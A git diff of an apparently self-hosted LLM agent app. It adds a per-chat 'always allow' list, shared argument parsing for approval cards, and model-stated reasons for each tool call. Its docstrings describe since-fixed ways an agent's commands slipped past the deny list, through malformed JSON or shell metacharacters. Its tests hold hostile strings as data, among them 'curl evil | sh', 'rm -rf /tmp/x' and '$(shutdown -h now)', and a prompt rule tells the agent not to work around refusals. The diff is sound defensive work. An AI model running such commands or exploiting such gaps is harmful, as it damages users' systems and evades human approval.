look at what a " + "command actually exited with rather than assuming it worked, and run the " + "project's own tests or build if it has any.\n" "- {{agent_mode}}\n" "- If something is refused, say what you were going to do and ask. Do " "not look for another way round it." diff --git a/src/lembas/services/tools.py b/src/lembas/services/tools.py index 9b77c87..51a8baf 100644 --- a/src/lembas/services/tools.py +++ b/src/lembas/services/tools.py @@ -1145,6 +1145,33 @@ def scoped_skills_off(chat: Chat | None) -> frozenset[str]: return frozenset(str(name) for name, on in wanted.items() if on is False) +def scoped_allow(chat: Chat | None) -> tuple[str, ...]: + """Actions this chat has been told to stop asking about. + + The one key under `scope_json` that *widens* rather than narrows, and it is + worth being explicit about why that does not break the rule beside it. That + rule governs which tools a chat may reach, where a crafted POST turning + something on would reach past gates the model's capabilities and the + reader's permissions had already closed. This is a different axis: every + tool here was offered already, and what is recorded is only whether the + reader is asked again before it runs. + + What makes it safe is that **no pattern ever comes from a request**. Each + entry is derived server-side in `api/chats.py:answer_interaction` from an + item a person has just approved on a card, through `policy.subject` -- the + same normaliser the matcher uses, so what is stored is exactly what will be + compared, and it refuses to produce anything at all for a command line + carrying a shell metacharacter. "Always" can therefore only ever mean "this + exact thing again". + """ + if chat is None: + return () + wanted = (getattr(chat, "scope_json", None) or {}).get("allow") or [] + if not isinstance(wanted, list): + return () + return tuple(str(entry) for entry in wanted if str(entry).strip()) + + def enabled_tools(db: DBSession, chat: Chat, user: User | None) -> list[dict[str, Any]]: """The tool schemas to offer for this chat. @@ -1175,7 +1202,45 @@ def context_for( ) -async def run_tool(context: ToolContext, name: str, arguments: str) -> ToolOutcome: +def parse_arguments(tool: ToolDef | None, raw: str) -> dict[str, Any]: + """One tool call's arguments, as a dict, however badly they were spelled. + + **The only place a call's arguments are interpreted.** It used to live + inside `run_tool`, while the approval card had its own plain `json.loads` + that returned `{}` on failure -- so a model emitting malformed JSON got a + card headed "Run a command" with an empty body, while the fallback below + handed the raw string to `shell_run` as its command and ran it. The card + showed one thing and the machine did another, and `policy.decide` was + handed an empty command line it could match against neither list. + + So the loop parses once and the same dict reaches the card, the policy and + the runner. Callers that only have a name resolve the `ToolDef` first; a + `None` tool still parses valid JSON, which is what an unknown name needs. + """ + try: + parsed = json.loads(raw) if raw.strip() else {} + except json.JSONDecodeError: + # Small models emit malformed argument JSON often enough that this is a + # normal path, not an exceptional one. Treat the whole string as the + # tool's first argument rather than giving up: what it says is required, + # else the first thing it declares, and only then a guess -- a schema + # somebody else wrote need not have either. + parameters = tool.parameters if tool is not None else {} + properties = parameters.get("properties") or {} + names = parameters.get("required") or list(properties) or ["query"] + parsed = {str(names[0]): raw.strip()} + if not isinstance(parsed, dict): + return {"query": str(parsed)} + return parsed + + +async def run_tool( + context: ToolContext, + name: str, + arguments: str, + *, + parsed: dict[str, Any] | None = None, +) -> ToolOutcome: """Execute one tool call. Never raises. A tool that fails hands the model an explanation and lets it @@ -1187,6 +1252,11 @@ async def run_tool(context: ToolContext, name: str, arguments: str) -> ToolOutco chat was gated out of -- a family switched off for the model, a permission the reader does not have -- had it run anyway, because only the offer was ever filtered. + + `parsed` is the arguments the caller has already interpreted. The generation + loop passes it so that what a person approved is what runs; a caller with + only the raw string gets the same result, because both go through + `parse_arguments`. """ book = REGISTRY if context.tools is None else context.tools tool = book.get(name) @@ -1196,19 +1266,8 @@ async def run_tool(context: ToolContext, name: str, arguments: str) -> ToolOutco {"name": name, "status": "error", "error": "Unknown tool."}, ) - try: - parsed = json.loads(arguments) if arguments.strip() else {} - except json.JSONDecodeError: - # Small models emit malformed argument JSON often enough that this is a - # normal path, not an exceptional one. Treat the whole string as the - # tool's first argument rather than giving up: what it says is required, - # else the first thing it declares, and only then a guess -- a schema - # somebody else wrote need not have either. - properties = tool.parameters.get("properties") or {} - names = tool.parameters.get("required") or list(properties) or ["query"] - parsed = {str(names[0]): arguments.strip()} - if not isinstance(parsed, dict): - parsed = {"query": str(parsed)} + if parsed is None: + parsed = parse_arguments(tool, arguments) try: return await tool.run(context, parsed) @@ -1354,9 +1413,11 @@ __all__ = [ "context_for", "enabled_tools", "families", + "parse_arguments", "registry", "resolve_tools", "run_tool", + "scoped_allow", "tool_turn", ] diff --git a/src/lembas/web/static/css/chat.css b/src/lembas/web/static/css/chat.css index cd42aa1..ca6837d 100644 --- a/src/lembas/web/static/css/chat.css +++ b/src/lembas/web/static/css/chat.css @@ -351,8 +351,16 @@ .tool-activity__summary::-webkit-details-marker { display: none; } .tool-activity__summary:hover { color: var(--ink); background: var(--surface-hover); } .tool-activity__icon { color: var(--leaf); flex: none; } -.tool-activity__label { flex: 1; } +.tool-activity__label { flex: 1; min-width: 0; } .tool-activity__count { color: var(--ink-faint); } +/* The model's own account of what a call is for, under the command it belongs + to. `display: block` inside the flex row's label, so the icon and the chevron + stay centred against both lines. */ +.tool-activity__why { + display: block; + color: var(--ink-faint); + font-size: var(--text-xs); +} .tool-activity[open] .reasoning__chevron { transform: rotate(180deg); } .tool-activity__body { @@ -514,6 +522,9 @@ overflow-wrap: anywhere; } .interaction__reason { margin: 0; color: var(--ink-muted); font-size: var(--text-xs); } +/* The model's account of what it is about to do. Above the command and quieter + than the title, so the command stays the thing being agreed to. */ +.interaction__purpose { margin: 0; color: var(--ink-muted); font-size: var(--text-sm); } .interaction__actions { display: flex; flex-wrap: wrap; @@ -976,6 +987,18 @@ color: var(--ink-faint); } +/* One thing this chat has been told to stop asking about. Monospace because an + entry is usually a command line, and it is worth being able to read back + exactly what was agreed to. */ +.picker__allow-entry { + margin: 0; + padding: 0 var(--sp-3) var(--sp-1); + font-family: var(--font-mono); + font-size: var(--text-xs); + color: var(--ink-muted); + overflow-wrap: anywhere; +} + /* The help and usage sheets. */ .sheet { width: 100%; border-collapse: collapse; font-size: var(--text-sm); } .sheet td { padding: var(--sp-1) var(--sp-2); vertical-align: top; } diff --git a/src/lembas/web/templates/chat/_composer.html b/src/lembas/web/templates/chat/_composer.html index 0a87333..f6dafec 100644 --- a/src/lembas/web/templates/chat/_composer.html +++ b/src/lembas/web/templates/chat/_composer.html @@ -163,7 +163,7 @@ Only on an existing chat -- there is no row to write to before one exists, and a switch that went nowhere is worse than no switch. #} - {% set has_scope = chat and (scope_families or scope_skills) %} + {% set has_scope = chat and (scope_families or scope_skills or scope_allow) %} {% if has_scope or can.get("files.upload") %}
+
+ {% endif %} + {# The affordance the `@` button used to be, kept as one row so nothing is lost by replacing the button -- and it is what this menu holds on a chat that does not exist yet, where there is no diff --git a/src/lembas/web/templates/chat/_interaction.html b/src/lembas/web/templates/chat/_interaction.html index 67b64f0..4c19386 100644 --- a/src/lembas/web/templates/chat/_interaction.html +++ b/src/lembas/web/templates/chat/_interaction.html @@ -70,6 +70,13 @@ {% for item in ask.items %}

{{ item.title }}

+ {% if item.purpose %} + {# The model's own account of what this is for, above the thing itself. + Deliberately separate from `reason` below, which is *our* reason for + stopping — attributed, so nobody reads an explanation the model wrote + as the application vouching for the command. #} +

It says: {{ item.purpose }}

+ {% endif %} {% if item.detail %} 
{{ item.detail }}
{% endif %} diff --git a/src/lembas/web/templates/chat/_tool_activity.html b/src/lembas/web/templates/chat/_tool_activity.html index 378420a..47c7322 100644 --- a/src/lembas/web/templates/chat/_tool_activity.html +++ b/src/lembas/web/templates/chat/_tool_activity.html @@ -61,6 +61,17 @@ · {{ event.results | length }} result{{ '' if event.results | length == 1 else 's' }} {% endif %} + + {% if event.why %} + {# What the model said this call was for. In the summary rather than the + body because the body is collapsed: in Auto mode nothing stops for + approval, so without this a reader watches a list of commands with no + account of what any of them is for until the reply ends. + + Model text, escaped like everything else here, and styled as a quieter + second line so it reads as the model's account rather than ours. #} + {{ event.why }} + {% endif %} {{ icon("chevron-down", "icon--sm reasoning__chevron") }} diff --git a/tests/test_agent_interaction.py b/tests/test_agent_interaction.py index b560877..502b567 100644 --- a/tests/test_agent_interaction.py +++ b/tests/test_agent_interaction.py @@ -384,6 +384,53 @@ def test_the_card_shows_the_question_and_its_options(): assert "The model is asking you" in html, "attributed to the model, not to LLeMbas" +def test_an_approval_card_shows_what_the_model_said_it_was_doing(): + """Attributed, and kept apart from our own reason for stopping. An + explanation a reader takes for the application's would be LLeMbas vouching + for a command a model wrote.""" + pause = interaction.Interruption( + id="p1", + items=( + interaction.Item( + index=0, + key="a0", + kind=interaction.KIND_APPROVAL, + tool_name="shell_run", + title="Run a command on Box", + detail="pytest -q", + reason="Edit mode asks before anything that runs a command.", + purpose="Checking the change did not break anything.", + ), + ), + ) + html = _render(pause) + assert "It says: Checking the change did not break anything." in html + assert "pytest -q" in html + assert "Edit mode asks" in html + + +def test_an_explanation_on_a_card_is_escaped(): + """It is model text, and the model may have been reading somebody else's + file a moment ago.""" + pause = interaction.Interruption( + id="p1", + items=( + interaction.Item( + index=0, + key="a0", + kind=interaction.KIND_APPROVAL, + tool_name="shell_run", + title="Run a command on Box", + detail="ls", + purpose="", + ), + ), + ) + html = _render(pause) + assert "` is shell + syntax. The error landed after the sentinel, where nothing reads it, so the + command still worked and the cleanup silently never ran. + """ + import subprocess + + wrappers = [ + jobs.launch_command("chatx", "abc123abc123", "echo hi"), + jobs.launch_and_wait_command("chatx", "abc123abc123", "echo hi", 4096), + jobs.read_command("chatx", "abc123abc123", 4096), + jobs.stop_command("chatx", "abc123abc123"), + jobs.cleanup_command("chatx", "abc123abc123"), + ] + for wrapper in wrappers: + done = subprocess.run( + ["sh", "-n"], input=wrapper, capture_output=True, text=True, check=False + ) + assert done.returncode == 0, f"not valid shell:\n{wrapper}\n{done.stderr}" + + +def test_launch_and_wait_removes_every_file_it_made(): + """Its last line is the only cleanup on the fast path -- nothing calls + `_cleanup` when a command finishes in time.""" + wrapper = jobs.launch_and_wait_command("chatx", "abc123abc123", "echo hi", 4096) + removal = next(line for line in wrapper.splitlines() if line.startswith("rm -f")) + + for extension in ("sh", "pid", "log", "exit"): + assert jobs._file("chatx", "abc123abc123", extension) in removal, extension + assert " /dev/null", + "echo x\nreboot", + "$(shutdown -h now)", + ], +) +def test_a_composed_command_cannot_slip_past_a_deny_list(command): + """One character used to be the whole of the difference. + + `subject` returns None for anything carrying a metacharacter, so no pattern + could match it -- and the original reasoning said that was safe for a deny + list because it "returns you to the mode". True in Manual, Edit and Plan. + In Auto the mode is ALLOW, so `shutdown -h now` asked and + `shutdown -h now &` ran. + """ + decision = decide( + mode=policy.MODE_AUTO, + risk=RISK_EXECUTE, + tool_name="shell_run", + command=command, + deny=("shutdown *", "reboot *"), + ) + assert decision.verdict == ASK, command + + +def test_a_composed_command_is_still_fine_when_nothing_is_denied(): + """The rule above is scoped to there being a deny list at all. + + Otherwise Auto would ask about `cd build && make`, which is most real + commands, and the mode whose whole purpose is not asking would ask. + """ + decision = decide( + mode=policy.MODE_AUTO, + risk=RISK_EXECUTE, + tool_name="shell_run", + command="cd build && make", + ) + assert decision.verdict == ALLOW + + def test_subject_refuses_to_produce_a_matchable_line_for_composed_commands(): assert policy.subject("shell_run", "ls -la") == "ls -la" assert policy.subject("shell_run", "ls; rm") is None diff --git a/tests/test_agent_tools.py b/tests/test_agent_tools.py index e6dc964..2eab6dc 100644 --- a/tests/test_agent_tools.py +++ b/tests/test_agent_tools.py @@ -12,6 +12,7 @@ import json as _json import time import pytest +from sqlalchemy import select from lembas.db.models import ( KIND_AGENT, @@ -28,6 +29,7 @@ from lembas.services import interaction, settings_store from lembas.services import tools as tools_service from lembas.services.agent import policy, session from lembas.services.agent import ssh as ssh_service +from lembas.services.tools import RISK_EXECUTE asyncssh = pytest.importorskip("asyncssh") @@ -539,6 +541,143 @@ async def test_a_command_waits_for_approval_and_the_card_shows_it( await task +async def test_malformed_arguments_still_show_the_command_that_will_run( + db, user_id, machine, monkeypatch +): + """The card and the runner read the same parsed arguments. + + They used to disagree: the card did a plain `json.loads` and showed `{}` on + failure, while `run_tool` put the raw string into the tool's first required + parameter -- `command` -- and ran it. So a model emitting invalid JSON got a + card headed "Run a command" with an empty body, and Allow ran something the + reader was never shown. + """ + chat, _profile = _setup(db, user_id, machine, mode=policy.MODE_MANUAL) + message_id = _pending_reply(db, chat) + monkeypatch.setattr( + generation_service, + "stream_chat", + _stub_stream([[_chunk("shell_run", "rm -rf /tmp/x")], [_text("Done.")]], []), + ) + + generation = generation_service.Generation(chat_id=chat.id, message_id=message_id) + task = asyncio.create_task(generation_service._run(generation)) + pending = await _until_paused(generation) + + assert pending.items[0].detail == "rm -rf /tmp/x" + + pending.resolve(interaction.DENY) + await task + + +async def test_the_card_carries_what_the_model_said_it_was_doing( + db, user_id, machine, monkeypatch +): + """`why` is the model's account; `reason` is ours. Both, and kept apart.""" + chat, _profile = _setup(db, user_id, machine, mode=policy.MODE_MANUAL) + message_id = _pending_reply(db, chat) + monkeypatch.setattr( + generation_service, + "stream_chat", + _stub_stream( + [ + [ + _chunk( + "shell_run", + '{"command": "pytest -q", "why": "Checking the change did not ' + 'break anything."}', + ) + ], + [_text("Done.")], + ], + [], + ), + ) + + generation = generation_service.Generation(chat_id=chat.id, message_id=message_id) + task = asyncio.create_task(generation_service._run(generation)) + pending = await _until_paused(generation) + + item = pending.items[0] + assert item.purpose == "Checking the change did not break anything." + assert item.detail == "pytest -q", "the command is still the thing being agreed to" + assert "Manual" in item.reason, "our reason for stopping is separate from theirs" + + pending.resolve(interaction.DENY) + await task + + +async def test_the_transcript_keeps_the_explanation(db, user_id, machine, monkeypatch): + """Auto mode stops for nothing, so the event is the only place a reader ever + sees what a command was for.""" + chat, _profile = _setup(db, user_id, machine, mode=policy.MODE_AUTO) + message_id = _pending_reply(db, chat) + monkeypatch.setattr( + generation_service, + "stream_chat", + _stub_stream( + [ + [_chunk("shell_run", '{"command": "ls", "why": "Seeing what is here."}')], + [_text("Done.")], + ], + [], + ), + ) + + generation = generation_service.Generation(chat_id=chat.id, message_id=message_id) + await generation_service._run(generation) + + assert generation.tool_events[0]["why"] == "Seeing what is here." + + +async def test_a_call_without_an_explanation_carries_no_empty_one( + db, user_id, machine, monkeypatch +): + """Absent stays absent. An empty string on every event would render a blank + second line under every command in the transcript.""" + chat, _profile = _setup(db, user_id, machine, mode=policy.MODE_AUTO) + message_id = _pending_reply(db, chat) + monkeypatch.setattr( + generation_service, + "stream_chat", + _stub_stream([[_chunk("shell_run", '{"command": "ls"}')], [_text("Done.")]], []), + ) + + generation = generation_service.Generation(chat_id=chat.id, message_id=message_id) + await generation_service._run(generation) + + assert "why" not in generation.tool_events[0] + + +async def test_malformed_arguments_are_still_checked_against_the_deny_list( + db, user_id, machine, monkeypatch +): + """The consequence of the above, in the mode where it matters. + + In Auto nothing is shown first, so a command the card could not describe was + also a command `policy.decide` was handed as "" -- matching neither list and + falling through to the mode, which is ALLOW. Invalid JSON was a way past the + deny list. + """ + chat, _profile = _setup(db, user_id, machine, mode=policy.MODE_AUTO) + settings_store.update(db, {"deny_default": ["rm *"]}, key=settings_store.AGENTS) + message_id = _pending_reply(db, chat) + monkeypatch.setattr( + generation_service, + "stream_chat", + _stub_stream([[_chunk("shell_run", "rm -rf /tmp/x")], [_text("Done.")]], []), + ) + + generation = generation_service.Generation(chat_id=chat.id, message_id=message_id) + task = asyncio.create_task(generation_service._run(generation)) + pending = await _until_paused(generation) + + assert "rm *" in pending.items[0].reason + + pending.resolve(interaction.DENY) + await task + + async def test_denying_reaches_the_model_as_words_and_runs_nothing( db, user_id, machine, monkeypatch, tmp_path ): @@ -618,6 +757,135 @@ async def test_auto_mode_never_pauses(db, user_id, machine, monkeypatch, tmp_pat assert (tmp_path / "project" / "auto.txt").read_text() == "no asking" +# --- "Always allow this" --------------------------------------------------------- +# Answered over the TestClient against a pause registered by hand, rather than by +# running a generation: a future belongs to the loop that made it and TestClient +# runs the app on its own, which is the same reason +# `test_another_account_cannot_answer_your_question` builds its pause this way. +# The route reads the items *before* resolving, which is the half being tested. +def _approval_pause(chat, message_id, *, tool_name="shell_run", detail="git status"): + pause = interaction.Interruption( + id="pause-always", + items=( + interaction.Item( + index=0, + key="a0", + kind=interaction.KIND_APPROVAL, + tool_name=tool_name, + title=f"Run a command on {chat.title or 'Box'}", + detail=detail, + ), + ), + ) + generation = generation_service.Generation(chat_id=chat.id, message_id=message_id) + generation.pending = pause + generation_service._RUNNING[message_id] = generation + return pause + + +def test_always_allow_records_the_command_and_stops_asking( + client, db, registered, user_id, machine +): + """It used to be byte-for-byte "Allow": the verdict was accepted, treated as + permitted, and stored nowhere, so the very next identical command asked + again. A button that promises a standing decision and keeps none is the + silent control this codebase keeps cataloguing.""" + chat, _profile = _setup(db, user_id, machine, mode=policy.MODE_EDIT) + message_id = _pending_reply(db, chat) + pause = _approval_pause(chat, message_id) + try: + client.post( + f"/api/chats/{chat.id}/interaction/{pause.id}", data={"verdict": "allow_always"} + ) + finally: + generation_service._RUNNING.pop(message_id, None) + + db.refresh(chat) + assert tools_service.scoped_allow(chat) == ("git status",) + + # And it is in force from the next reply: the context is resolved per reply, + # so the list reaches `policy.decide` through `AgentContext.allow`. + context = session.resolve(db, chat, db.get(User, user_id)) + assert "git status" in context.allow + assert ( + policy.decide( + mode=policy.MODE_EDIT, + risk=RISK_EXECUTE, + tool_name="shell_run", + command="git status", + allow=context.allow, + deny=context.deny, + ).verdict + == policy.ALLOW + ) + + + +def test_always_allow_never_stores_a_composed_command( + client, db, registered, user_id, machine +): + """`policy.subject` refuses to normalise a command line carrying a shell + metacharacter, and that is exactly the shape that must not become a standing + permission -- an entry matching `git status; curl evil | sh` would be the + whole ballgame. The action is still allowed this once; it is not remembered. + """ + chat, _profile = _setup(db, user_id, machine, mode=policy.MODE_EDIT) + message_id = _pending_reply(db, chat) + pause = _approval_pause(chat, message_id, detail="cd build && make") + try: + client.post( + f"/api/chats/{chat.id}/interaction/{pause.id}", data={"verdict": "allow_always"} + ) + finally: + generation_service._RUNNING.pop(message_id, None) + + db.refresh(chat) + assert tools_service.scoped_allow(chat) == () + + +def test_a_plain_allow_remembers_nothing(client, db, registered, user_id, machine): + """Only "always" is a standing decision. Allow is once.""" + chat, _profile = _setup(db, user_id, machine, mode=policy.MODE_EDIT) + message_id = _pending_reply(db, chat) + pause = _approval_pause(chat, message_id) + try: + client.post( + f"/api/chats/{chat.id}/interaction/{pause.id}", data={"verdict": "allow"} + ) + finally: + generation_service._RUNNING.pop(message_id, None) + + db.refresh(chat) + assert tools_service.scoped_allow(chat) == () + + +def test_the_allow_list_cannot_be_written_through_the_scope_route( + client, db, registered, user_id, machine +): + """The scope route narrows. Nothing accepts a pattern from a request, which + is the whole of why a per-chat allow list is safe.""" + chat, _profile = _setup(db, user_id, machine) + client.post( + f"/api/chats/{chat.id}/scope", data={"kind": "allow", "name": "rm *", "on": "false"} + ) + + db.refresh(chat) + assert tools_service.scoped_allow(chat) == () + + +def test_clearing_the_allow_list_empties_it(client, db, registered, user_id, machine): + chat, _profile = _setup(db, user_id, machine) + chat.scope_json = {"allow": ["git status", "file_read"]} + db.commit() + + response = client.post(f"/api/chats/{chat.id}/allow/clear") + + assert response.status_code == 200 + assert response.text == "", "the row has to disappear; htmx does not swap on a 204" + db.refresh(chat) + assert tools_service.scoped_allow(chat) == () + + async def test_the_credential_is_cleared_when_the_reply_ends(db, user_id, machine, monkeypatch): """A finished Generation lingers five minutes so late followers get the final frames. A private key should not linger with it.""" @@ -685,6 +953,39 @@ async def test_an_ordinary_chat_is_told_none_of_it(db, user_id, machine): assert "fresh shell" not in text +async def test_an_agent_chat_is_told_to_work_to_an_objective_and_out_loud( + db, user_id, machine +): + """The two halves of not drifting: name what you are doing, and say what you + are finding while you do it rather than only at the end.""" + from lembas.services import harness + + chat, _profile = _setup(db, user_id, machine, mode=policy.MODE_EDIT) + user = db.get(User, user_id) + offered = tools_service.resolve_tools(db, chat, user).schemas + text = harness.compose(db, user, offered, chat) + + assert "Settle what you are setting out to achieve" in text + assert "Work out loud" in text + # And the tool argument that carries the same account per call. + assert "`why`" in text + + +async def test_an_ordinary_chat_is_not_asked_to_narrate(db, user_id, machine): + """Both are agent-only. In front of a two-line answer, stating an objective + and announcing each tool call is preamble -- and `core.tools_preamble` says + the opposite for exactly that reason.""" + from lembas.services import harness + + chat, _profile = _setup(db, user_id, machine, kind="chat") + user = db.get(User, user_id) + offered = tools_service.resolve_tools(db, chat, user).schemas + text = harness.compose(db, user, offered, chat) + + assert "Work out loud" not in text + assert "Settle what you are setting out to achieve" not in text + + async def test_an_agent_chat_is_told_its_real_round_budget(db, user_id, machine): """MAX_ROUNDS is one. An agent chat gets hundreds, and telling it one would be a false fact about its own budget on every turn.""" @@ -824,6 +1125,96 @@ async def test_a_zero_ceiling_means_no_ceiling(db, user_id, machine, monkeypatch # --- Interjecting while it works -------------------------------------------------- +async def test_a_reply_stops_when_the_window_has_no_room_left( + db, user_id, machine, monkeypatch +): + """The request grows by an assistant turn and a tool turn every round, and + nothing was watching it: `_maybe_compact` runs once, before the first round. + The other guard, `max_total_output_bytes`, is a megabyte by default -- about + 260k tokens, larger than the window of nearly every model this talks to -- so + a long agent reply grew its own request until the endpoint refused it, and + the reader got an upstream error rather than an explanation.""" + chat, _profile = _setup(db, user_id, machine, mode=policy.MODE_AUTO) + model = db.scalars(select(Model).where(Model.model_id == chat.model_id)).first() + model.context_length = 2000 + db.commit() + + message_id = _pending_reply(db, chat) + # A command whose output is large enough that two rounds fill the window. + monkeypatch.setattr( + generation_service, + "stream_chat", + _stub_stream( + [[_chunk("shell_run", '{"command": "printf \'%s\' ' + "'" + "x" * 3000 + "'\"}")]], + [], + ), + ) + + generation = generation_service.Generation(chat_id=chat.id, message_id=message_id) + await asyncio.wait_for(generation_service._run(generation), timeout=20) + + budget_events = [e for e in generation.tool_events if e.get("name") == "budget"] + assert budget_events, "it should stop with an explanation, not run to the step cap" + assert "context window" in budget_events[0]["error"] + + +async def test_the_estimate_follows_the_request_round_by_round( + db, user_id, machine, monkeypatch +): + """It was taken once, before the first round, so on any endpoint that sends + no usage block the reported prompt was the first round's forever.""" + chat, _profile = _setup(db, user_id, machine, mode=policy.MODE_AUTO) + message_id = _pending_reply(db, chat) + monkeypatch.setattr( + generation_service, + "stream_chat", + _stub_stream( + [ + [_chunk("shell_run", '{"command": "echo one"}', call_id="c1")], + [_chunk("shell_run", '{"command": "echo two"}', call_id="c2")], + [_text("Done.")], + ], + [], + ), + ) + + generation = generation_service.Generation(chat_id=chat.id, message_id=message_id) + await asyncio.wait_for(generation_service._run(generation), timeout=20) + + assert generation.rounds == 3 + # Summed across rounds, so it exceeds any single round's prompt. + assert generation.prompt_estimate_total > generation.prompt_estimate + # And what the reply occupies is the last round's prompt, not the total. + assert generation.context_tokens < generation.prompt_estimate_total + + +async def test_an_unknown_window_never_stops_a_reply(db, user_id, machine, monkeypatch): + """`context_length` of 0 is unknown, not small -- the rule the context + percentage and automatic compaction already follow.""" + chat, _profile = _setup(db, user_id, machine, mode=policy.MODE_AUTO) + model = db.scalars(select(Model).where(Model.model_id == chat.model_id)).first() + model.context_length = 0 + db.commit() + + message_id = _pending_reply(db, chat) + monkeypatch.setattr( + generation_service, + "stream_chat", + _stub_stream( + [ + [_chunk("shell_run", '{"command": "printf \'%s\' ' + "'" + "x" * 3000 + "'\"}")], + [_text("Done.")], + ], + [], + ), + ) + + generation = generation_service.Generation(chat_id=chat.id, message_id=message_id) + await asyncio.wait_for(generation_service._run(generation), timeout=20) + + assert not [e for e in generation.tool_events if e.get("name") == "budget"] + + async def test_a_queued_prompt_is_taken_in_between_rounds(db, user_id, machine, monkeypatch): """The point of queueing in an agent chat: steering work already under way. diff --git a/tests/test_harness.py b/tests/test_harness.py index 6a4ccc1..ce49e67 100644 --- a/tests/test_harness.py +++ b/tests/test_harness.py @@ -432,3 +432,48 @@ def test_the_background_guidance_appears_only_when_enabled(db, owner): settings_store.update(db, {"background_enabled": True}, key=settings_store.AGENTS) assert "run in the background" in _text() + + +# --- The ceiling has to fit what the defaults already grant -------------------- +def test_the_shipped_defaults_fit_under_the_ceiling(db, owner): + """An agent chat's whole preamble, at the budgets this ships with. + + It did not fit. The fragments alone are about 7,900 characters, and on top + of them `index_chars` grants a 2,000 character project listing and + `instructions_chars` a 4,000 character AGENTS.md -- both on by default. The + ceiling was 8,000, and `assemble` cuts the tail, which by fragment order is + the context worth having: the listing was severed mid-tree and + `context.agent_instructions` was dropped whole. So on a default install the + one path by which a project's own instructions reach a model did not. + """ + values = settings_store.agents(db) + # Every name the harness knows about, so a variable added later is covered + # here without anybody remembering to add it. + variables = dict.fromkeys(harness.context_variables(db, owner, [], None), "") + variables.update( + { + "today": "Monday 3 August 2026", + "instance_name": "LLeMbas", + "user_name": "Frodo", + "agent_target": "homeserver", + "agent_dir": "/srv/project", + "agent_mode": "You are in **Edit** mode.", + "tool_names": "shell_run, file_read, file_write, file_edit, file_list", + "background": "on", + "max_rounds": "200", + # Each at exactly the budget its own setting allows. + "project_files": "L" * int(values["index_chars"]), + "agent_instructions": "A" * int(values["instructions_chars"]), + "agent_instructions_file": "AGENTS.md", + "plan": "P" * 600, + "memories": "M" * 400, + } + ) + + out = harness.compose_from( + db, variables=variables, families=["agent"], has_tools=True, overrides={} + ) + + assert not out.endswith("…"), f"the preamble was truncated at {len(out):,} characters" + assert "A" * 100 in out, "the project's own instructions were cut off entirely" + assert "L" * 100 in out, "the project listing was cut off" diff --git a/tests/test_prompts.py b/tests/test_prompts.py index 2c78870..e60b9b1 100644 --- a/tests/test_prompts.py +++ b/tests/test_prompts.py @@ -13,15 +13,22 @@ def extra_source(): The registry is module state, so a test that adds to it and does not clean up leaks into every test after it. + + Restored to **what was there**, not to `[_builtin_source]`. Resetting to the + builtin alone also threw away `services/tools.py:_row_source`, registered at + import -- so after the first test using this fixture, no custom tool or MCP + server contributed a fragment for the rest of the process, and + `test_a_custom_tools_guidance_appears_only_when_it_is_offered` passed or + failed on file ordering alone. A teardown that quietly removes production + wiring is worse than no teardown, because the suite still goes green. """ - added: list = [] + before = list(prompts._SOURCES) def install(*fragments: prompts.Fragment): - added.extend(fragments) prompts.register_source(lambda db: fragments) yield install - prompts._SOURCES[:] = [prompts._builtin_source] + prompts._SOURCES[:] = before # --- Substitution ------------------------------------------------------------ diff --git a/tests/test_tool_activity.py b/tests/test_tool_activity.py index 8e3a301..6df9f49 100644 --- a/tests/test_tool_activity.py +++ b/tests/test_tool_activity.py @@ -249,3 +249,44 @@ def test_a_diff_line_is_escaped(): def test_an_event_with_no_diff_renders_none(): html = _render({"name": "file_read", "results": [], "text": "hello"}) assert "diff__line" not in html + + +# --- What a call was for --------------------------------------------------------- +def test_an_explanation_rides_in_the_summary_not_the_body(): + """The body is collapsed. In Auto mode nothing stops for approval, so a + reader who has to expand each call to find out what it was for is a reader + watching a list of commands with no account of any of them.""" + html = _render( + { + "name": "shell_run", + "kind": "agent", + "query": "pytest -q", + "why": "Checking the change did not break anything.", + "status": "ok", + "results": [], + } + ) + summary = html.split("", 1)[0] + assert "Checking the change did not break anything." in summary + + +def test_an_explanation_is_escaped_like_everything_else(): + html = _render( + { + "name": "shell_run", + "kind": "agent", + "query": "ls", + "why": "", + "status": "ok", + "results": [], + } + ) + assert "